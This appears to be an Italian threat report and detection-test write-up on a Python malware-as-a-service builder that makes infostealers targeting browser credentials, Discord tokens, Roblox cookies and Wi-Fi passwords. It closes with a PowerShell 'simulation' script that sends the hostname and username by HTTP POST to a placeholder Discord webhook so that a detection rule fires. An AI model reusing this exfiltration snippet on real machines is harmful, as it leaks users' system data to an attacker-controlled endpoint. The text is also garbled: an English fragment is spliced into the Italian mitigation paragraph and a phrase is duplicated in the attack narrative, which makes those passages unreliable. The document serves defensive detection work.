La Fabbrica dello Stealer: MaaS a Base di Python per Costruire Infostealer

Sommario

È stata identificata una nuova operazione Malware-as-a-Service (MaaS) che utilizza un builder basato su Python per generare payload infostealer personalizzati. Il builder consente agli operatori di confezionare malware come eseguibili Windows tramite Nuitka o PyInstaller, integrando le configurazioni webhook. I ladri risultanti prendono di mira le credenziali dei browser, i token di Discord, i cookie di Roblox e le password Wi-Fi memorizzate.

Indagine

Gli analisti hanno esaminato un archivio nidificato contenente sia il builder sia un payload integrato. L’indagine ha rilevato che il builder protegge gli URL webhook usando l’encoding XOR e Base64 e può installare automaticamente le dipendenze richieste tramite pip.exe. Il payload generato implementa inoltre tecniche anti-analisi, tra cui il rilevamento di debugger e controlli delle dimensioni del disco progettati per identificare ambienti di sandbox.

Mitigazione

Le organizzazioni dovrebbero monitorare l’esecuzione imprevista di pip.exe e la creazione sospetta di task pianificati. Limitare l’accesso alle directory dei dati del browser e rilevare l’uso non autorizzato di comandi può ridurre ulteriormente l'esposizione. Mantenere aggiornate le soluzioni di protezione degli endpoint è inoltre importante per identificare le famiglie di malware basate su Python in rapido sviluppo. commands can further reduce exposure. Keeping endpoint protection solutions current is also important for identifying rapidly evolving Python-based malware families.

Risposta

Quando viene rilevata un’attività malevola, isolare l’endpoint interessato per fermare ulteriori esfiltrazioni di dati tramite webhook controllati dall’attaccante. Rivedere le chiavi Run del registro e i task pianificati per meccanismi di persistenza non autorizzati. Analizzare la telemetria di rete per richieste HTTP POST insolite dirette a endpoint webhook sconosciuti, recentemente osservati o sospetti.

Esecuzione di Simulazione

• Narrativa di Attacco e Comandi: Un avversario ha distribuito un infostealer leggero su una workstation Windows. Per evitare l’overhead della gestione di un server C2 dedicato, l’attaccante utilizza un Webhook di Discord per esfiltrare i metadati del sistema (ad esempio, nome host e nome utente). Lo script esegue una richiesta HTTP POST all’API di Discord. Questa azione è progettata per confondersi con il traffico legittimo di sviluppatori o giocatori mentre prende di mira specificamente il modello URI discordapp.com/api/webhooks, che la regola di rilevamento è programmata per segnalare. modello URI, che la regola di rilevamento è programmata per segnalare.

• Script di Test di Regressione:

  # Simulazione di Esfiltrazione di Dati tramite Webhook di Discord
  $webhookUrl = "https://discordapp.com/api/webhooks/test-id/test-token"
  $payload = @{
      content = "Dati Esfiltrati: Nome Host=$env:COMPUTERNAME, Utente=$env:USERNAME"
  } | ConvertTo-Json
  
  Write-Host "[+] Simulazione di Esfiltrazione Webhook in corso..."
  try {
      Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json"
      Write-Host "[+] Comando di simulazione inviato con successo."
  } catch {
      Write-Host "[-] Comando inviato (Errore previsto se l'URL è falso, ma la telemetria dovrebbe comunque essere generata): $_"
  }

• Comandi di Pulizia:

  # Non sono stati creati file persistenti; non è richiesta alcuna pulizia per questa simulazione solo in memoria.
  Write-Host "[+] Pulizia completata: Nessun artefatto lasciato sul sistema."